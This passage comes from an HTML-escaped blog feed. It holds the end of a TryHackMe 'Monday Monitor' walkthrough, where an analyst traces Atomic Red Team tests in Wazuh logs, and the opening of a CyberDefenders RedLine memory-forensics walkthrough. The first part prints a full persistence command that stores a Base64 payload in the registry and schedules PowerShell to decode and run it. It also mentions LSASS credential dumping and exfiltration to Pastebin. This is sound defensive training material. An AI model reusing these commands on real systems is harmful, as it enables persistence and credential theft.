in &lt;em&gt;Wazuh&lt;/em&gt; gives us a strong signal that the test is attempting to plant something on the host. Let’s get to work!&lt;/p&gt;&#xA;&lt;p&gt;First, Clear the &lt;code&gt;rule.description&lt;/code&gt; filter we added in &lt;strong&gt;Question 1&lt;/strong&gt;. To keep things simple, use the search field to look for &lt;code&gt;schtasks.exe&lt;/code&gt;, the command‑line tool used to &lt;em&gt;“&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;create, delete, query, change, run, and end scheduled tasks on a local or remote computer&lt;/em&gt;&lt;/a&gt;&lt;em&gt;”&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This search returns four results, and in the command line we can clearly see that &lt;code&gt;schtasks.exe&lt;/code&gt; is being used to create a new scheduled task. Copying that full line gives us the answer to &lt;strong&gt;Question 2&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c261e7a0b32ae877ace019faf17727ba_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/c261e7a0b32ae877ace019faf17727ba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Identifying schtasks.exe activity&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;cmd.exe&amp;quot; /c &amp;quot;reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0= /f &amp;amp; schtasks.exe /Create /F /TN &amp;quot;ATOMIC-T1053.005&amp;quot; /TR &amp;quot;cmd /c start /min \&amp;quot;\&amp;quot; powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))&amp;quot; /sc daily /st 12:34&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;And conveniently nestled within this same command is the answer to &lt;strong&gt;Question 3&lt;/strong&gt;. The &lt;code&gt;/st&lt;/code&gt; argument specifies the scheduled time, and here it’s set to: 12:34.&lt;/p&gt;&#xA;&lt;p&gt;This command line also hints at the tooling behind the test: &lt;strong&gt;Atomic Red Team&lt;/strong&gt;. We can see the test path &lt;code&gt;ATOMIC-T1053.005&lt;/code&gt;, which maps to the MITRE ATT&amp;amp;CK technique &lt;a class=&#34;link&#34; href=&#34;https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1053.005 Scheduled Task/Job: Scheduled Task&lt;/em&gt;&lt;/a&gt;. Atomic tests like this are often used to validate detections, which fits perfectly with Swiftspend’s testing scenario.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;27dfd6dc4bcaa4f44581857b01cf13d1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/27dfd6dc4bcaa4f44581857b01cf13d1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-wasencoded&#34;&gt;Question 4: What was encoded?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, we need to figure out the contents of the encoded string we saw in the previous command. In addition to creating a scheduled task, the command also adds a registry value named &lt;code&gt;test&lt;/code&gt; under the key &lt;code&gt;HKCU\SOFTWARE\ATOMIC-T1053.005&lt;/code&gt;. That value is stored as a &lt;code&gt;REG_SZ&lt;/code&gt; string:&lt;/p&gt;&#xA;&lt;p&gt;cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0=&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;688c94f7764d0299938048deb59bb555_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;468px&#34; data-flex-grow=&#34;195&#34; height=&#34;385&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/688c94f7764d0299938048deb59bb555_MD5.png&#34; width=&#34;751&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Identifying a Base64 encoded string in the command line&lt;/p&gt;&#xA;&lt;p&gt;Later in the command, we see &lt;em&gt;PowerShell&lt;/em&gt; calling &lt;code&gt;FromBase64String&lt;/code&gt;, which tells us the value stored in the registry is Base64 encoded. So now we have the encoded string and the method used to decode it. All we need to do is decode the Base64 manually to uncover the actual payload.&lt;/p&gt;&#xA;&lt;p&gt;One easy option is to copy the encoded string and paste it into &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;, the popular web‑based data manipulation tool. Once the string is in the input field, apply the &lt;em&gt;From Base64&lt;/em&gt; operation, and let &lt;em&gt;CyberChef&lt;/em&gt; do its thing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;84d7aeba40f12434ce16f074c8afae00_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/84d7aeba40f12434ce16f074c8afae00_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding the Base64 encoded string&lt;/p&gt;&#xA;&lt;p&gt;Voila! The decoded value reveals a simple &lt;code&gt;ping&lt;/code&gt; command pointed at an external website, likely used as a heartbeat to test whether the host has outbound network connectivity: A nice find tucked away in the registry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3dd90f7b38553955b9f6fd77ca758313_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/3dd90f7b38553955b9f6fd77ca758313_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-password-was-set-for-the-new-useraccount&#34;&gt;Question 5: What password was set for the new user account?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along, we’re now looking for evidence of a user account being created or modified, specifically, the password that was set for that account. No problem!&lt;/p&gt;&#xA;&lt;p&gt;From the earlier questions, we already know the &lt;em&gt;Atomic Red Team&lt;/em&gt; tests are relying on &lt;em&gt;PowerShell&lt;/em&gt; to execute their activities. Let’s follow that thread and switch our filter from &lt;code&gt;schtasks.exe&lt;/code&gt; to &lt;code&gt;powershell.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;With this filter applied, we get a higher‑level view of all commands executed by &lt;em&gt;PowerShell&lt;/em&gt; in the &lt;code&gt;data.win.eventdata.commandLine&lt;/code&gt; field. While this is valuable context, we don’t need everything just yet. We only need the entry where a user account’s password is set.&lt;/p&gt;&#xA;&lt;p&gt;Scroll through the results and you’ll stumble across a line showing &lt;em&gt;PowerShell&lt;/em&gt; spawning the classic &lt;code&gt;[net user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user)&lt;/code&gt; command to modify Windows user accounts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8ba454aa50d4a94f1ecd470b624a845d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1129px&#34; data-flex-grow=&#34;470&#34; height=&#34;170&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/8ba454aa50d4a94f1ecd470b624a845d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Identifying modification of the guest account&lt;/p&gt;&#xA;&lt;p&gt;In this case, we see the &lt;code&gt;guest&lt;/code&gt; account being updated, and its password is set to: &lt;strong&gt;I_AM_M0NIT0R1NG&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0f74ba349a92cc41d6cb665f11c7a1c2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/0f74ba349a92cc41d6cb665f11c7a1c2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-theexe-that-was-used-to-dump-credentials&#34;&gt;Question 6: What is the name of the .exe that was used to dump credentials?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, we need to identify the executable used to dump credentials on the device. With the &lt;code&gt;powershell.exe&lt;/code&gt; filter still applied from the last question, you might’ve noticed several suspicious entries mixed in with the command output. A couple of minutes after the modification of the &lt;code&gt;guest&lt;/code&gt; account, we stumble across something especially interesting: a command that references an output file named &lt;code&gt;lsass.dmp&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cc37f762c3958ba5010323afef20aef8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/cc37f762c3958ba5010323afef20aef8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: Identifying OS Credential Dumping activity&lt;/p&gt;&#xA;&lt;p&gt;Before we dive into the executable itself, let’s review why &lt;em&gt;LSASS&lt;/em&gt; is such a high‑value target. According to Microsoft Learn, &lt;strong&gt;LSASS&lt;/strong&gt;, or the &lt;em&gt;Local Security Authority Subsystem Service:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Stores credentials in memory on behalf of users with active Windows sessions. The stored credentials let users seamlessly access network resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without reentering their credentials for each remote service.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;LSASS can store credentials in multiple forms, including:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Reversibly encrypted plaintext.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Kerberos tickets (ticket-granting tickets (TGTs), service tickets).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;NT hash.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;LAN Manager (LM) hash.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Reexamining the command in the logs, we see that the Atomic Red Team test executed an executable named: &lt;strong&gt;memotech.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This binary is responsible for generating the &lt;code&gt;lsass.dmp&lt;/code&gt; file. And if the command line hasn’t already given it away, &lt;em&gt;memotech.exe&lt;/em&gt; looks a whole lot like a disguised version of &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mimikatz&lt;/strong&gt;&lt;/a&gt;, an infamous credential dumping tool frequently used in both red team simulations and real‑world attacks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;df785ff5eb3e52a9022ee5a638201d08_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/df785ff5eb3e52a9022ee5a638201d08_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-data-was-exfiltrated-from-the-host-what-was-the-flag-that-was-part-of-thedata&#34;&gt;Question 7: Data was exfiltrated from the host. What was the flag that was part of the data?&#xA;&lt;/h3&gt;&lt;p&gt;Our final challenge is to identify the command used for data exfiltration and locate the classic TryHackMe flag hidden inside the exfiltrated content. We’ll keep the &lt;code&gt;powershell.exe&lt;/code&gt; filter applied from the previous questions so we can stay focused on the Atomic Red Team activity.&lt;/p&gt;&#xA;&lt;p&gt;Scrolling through the remaining entries in the testing data, we’re looking for a command that clearly suggests data exfiltration. We stumble into it as a newer result in the logs. The main giveaway (aside from the flag itself) is the structure of the command. It includes a URL for &lt;strong&gt;Pastebin&lt;/strong&gt;, a commonly abused text‑sharing site attackers use to store exfiltrated data (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK T1567.003.&lt;/em&gt;&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;aac19e6734ea69a8dd9f8489af759c58_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/aac19e6734ea69a8dd9f8489af759c58_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wazuh: The content of the data exfiltration command&lt;/p&gt;&#xA;&lt;p&gt;Reading through the full command, we find the outbound request that sends content directly to Pastebin. Embedded inside that transmitted data is the TryHackMe flag we’re looking for.&lt;/p&gt;&#xA;&lt;p&gt;With that, we’ve wrapped up our investigation into the security engineering team’s Atomic Red Team tests. Nice work crossing the finish line!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a604bf283d709dbecd6f8ecfa4c46821_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/a604bf283d709dbecd6f8ecfa4c46821_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;34bf51a60e8e464510ad3de85ce6826e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;410px&#34; data-flex-grow=&#34;170&#34; height=&#34;468&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/34bf51a60e8e464510ad3de85ce6826e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This walkthrough was a great example of how endpoint visibility can make or break an investigation. By combining &lt;strong&gt;Wazuh&lt;/strong&gt; and &lt;strong&gt;Sysmon&lt;/strong&gt;, we were able to trace an entire attack simulation chain from initial access to persistence, credential dumping, and data exfiltration. It highlighted endpoint monitoring and visibility is such a critical part of any defensive strategy.&lt;/p&gt;&#xA;&lt;p&gt;As we moved through each question, we didn’t just follow the attacker’s activity. We also built a deeper understanding of how &lt;em&gt;Wazuh&lt;/em&gt; presents data, how filtering and field selection guide analysis, and how small artifacts like encoded registry entries or scheduled task configurations can reveal much bigger things happening behind the scenes. Challenges like this are rewarding because each step builds naturally into the next, and the investigation feels both logical and engaging.&lt;/p&gt;&#xA;&lt;p&gt;I chose this week’s challenge because even though I’m familiar with other SIEM platforms, I’d never actually used &lt;em&gt;Wazuh&lt;/em&gt;. This was a great chance to learn the platform by testing it against an attack simulation and seeing how it handles real adversary techniques. It’s always satisfying when a controlled test lines up neatly with real‑world tradecraft, and &lt;em&gt;Atomic Red Team&lt;/em&gt; makes that possible in such a clean and structured way. All in all, it was solid exposure to some new tooling and a good opportunity to get hands‑on time investigating activity inside a new SIEM environment.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-monday-monitor-challenge-room-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/mondaymonitor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/mondaymonitor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wazuh:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wazuh.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wazuh.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Schtasks.exe:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Atomic Red Team GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — net user:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — OS Credential Dumping: LSASS Memory (T1003.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1003/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Mimikatz (S0002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Exfiltration Over Web Service: Exfiltration to Text Storage Sites (T1567.003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1567/003/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders — RedLine Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/</link>
            <pubDate>Mon, 16 Feb 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/d2b4aacba14ce116894523ea6fa64cf9_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders — RedLine Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders-redline-lab-walkthrough&#34;&gt;CyberDefenders: RedLine Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;volatile-memory-forensics-tracking-malware-execution-suspicious-processes-and-attacker-infrastructure-with-volatility-3-remnux&#34;&gt;Volatile Memory Forensics: Tracking Malware Execution, Suspicious Processes, and Attacker Infrastructure with Volatility 3 &amp;amp; REMnux&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;166&#34; height=&#34;240&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-redline-lab-walkthrough/d2b4aacba14ce116894523ea6fa64cf9_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/redline/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/redline/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while hunting for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/redline/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RedLine Lab&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;challenge&lt;/strong&gt; from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. If you&amp;rsquo;ve ever wanted to dip your toes into the world of &lt;strong&gt;memory forensics&lt;/strong&gt;, this beginner-friendly challenge is a great place to start.&lt;/p&gt;&#xA;&lt;p&gt;This lab drops us into an investigation where the only evidence we have is a memory dump. No disk image, no full forensic suite waiting for us. Just one volatile snapshot packed with clues about what happened, which malware was involved, and how the attacker moved through the system. Our job is to explore these threads, make sense of the artifacts, and understand the story. Don&amp;rsquo;t worry if you&amp;rsquo;re new to this topic. I&amp;rsquo;ll share plenty of resources that you can dig into during or after your own analysis.&lt;/p&gt;&#xA;&lt;p&gt;But even with solid references, good tools make all the difference. For this walkthrough, we&amp;rsquo;ll rely primarily on &lt;strong&gt;Volatility&lt;/strong&gt;, the popular memory forensics framework that makes analyzing memory dumps feel far more manageable. Once you get comfortable with it, you&amp;rsquo;ll see just how much information a single memory dump can reveal.&lt;/p&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re brand-new to memory forensics or you&amp;rsquo;re just sharpening your investigative skills, this is a fantastic challenge to tackle. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And, hey, if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just serves as a handy reference — &lt;strong&gt;please consider following me to get more content like this&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As a member of the Security Blue team, your assignment is to analyze a memory dump using Redline and Volatility tools. Your goal is to trace the steps taken by the attacker on the compromised machine and determine how they managed to bypass the Network Intrusion Detection System (NIDS). Your investigation will identify the specific malware family employed in the attack and its characteristics. Additionally, your task is to identify and mitigate any traces or footprints left by the attacker.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;strong&gt;CyberDefenders&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range),&lt;/em&gt; it&amp;rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REMnux&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I&amp;rsquo;m going to skip step-by-step setup directions of &lt;em&gt;REMnux,&lt;/em&gt; but if you&amp;rsquo;d like to set up your own environment, please follow the guide provided by &lt;em&gt;REMnux&lt;/em&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; 